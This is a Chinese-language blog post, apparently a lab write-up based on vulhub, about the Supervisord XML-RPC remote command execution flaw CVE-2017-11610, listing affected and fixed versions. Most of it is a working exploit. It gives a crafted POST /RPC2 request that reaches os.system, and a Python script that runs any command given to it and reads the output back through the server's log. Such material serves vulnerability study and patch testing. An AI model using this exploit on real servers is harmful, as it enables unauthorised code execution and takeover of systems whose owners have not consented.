标签:supervisord cve-2017-11610 远程命令执行
Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务。在配置了web接口后,服务器会启动一个XMLRPC服务器,端口为9001,默认配置接口是不需要密码访问的,管理员也可设置为密码访问。利用本漏洞,在获取该接口的访问权限后,远程攻击者可发送一段精心构造的请求,导致可在服务器执行任意代码。
影响版本:Supervisor 3.1.2 <= Version <= 3.3.2
已修复版本:Supervisor 3.3.3、Supervisor 3.2.4、Superivsor 3.1.4、Supervisor 3.0.1
我们使用burpsuit进行抓包,然后发送到repter,修改数据包如下:
POST /RPC2 HTTP/1.1 Host: 127.0.0.1:9001 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 213 <?xml version="1.0"?> <methodCall> <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName> <params> <param> <string>touch /tmp/success</string> </param> </params> </methodCall>
执行命令成功
通过这个poc虽然能验证漏洞,但是执行的命令却没有回显,但是命令是执行成功了的!
验证码命令执行成功
另外我们可以将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,将结果读出来。
利用代码poc.py如下:
import xmlrpc.client import sys target = sys.argv[1] command = sys.argv[2] with xmlrpc.client.ServerProxy(target) as proxy: old = getattr(proxy, ‘supervisor.readLog‘)(0,0) logfile = getattr(proxy, ‘supervisor.supervisord.options.logfile.strip‘)() getattr(proxy, ‘supervisor.supervisord.options.warnings.linecache.os.system‘)(‘{} | tee -a {}‘.format(command, logfile)) result = getattr(proxy, ‘supervisor.readLog‘)(0,0) print(result[len(old):])
使用方法:
python3 poc.py "http://your-ip:9001/RPC2" "command"
执行任意命令并回显
参考链接:https://github.com/phith0n/vulhub/tree/master/supervisor/CVE-2017-11610
本文出自 “eth10” 博客,请务必保留此出处http://eth10.blog.51cto.com/13143704/1955450
Supervisord 远程命令执行漏洞(CVE-2017-11610)
标签:supervisord cve-2017-11610 远程命令执行
原文地址:http://eth10.blog.51cto.com/13143704/1955450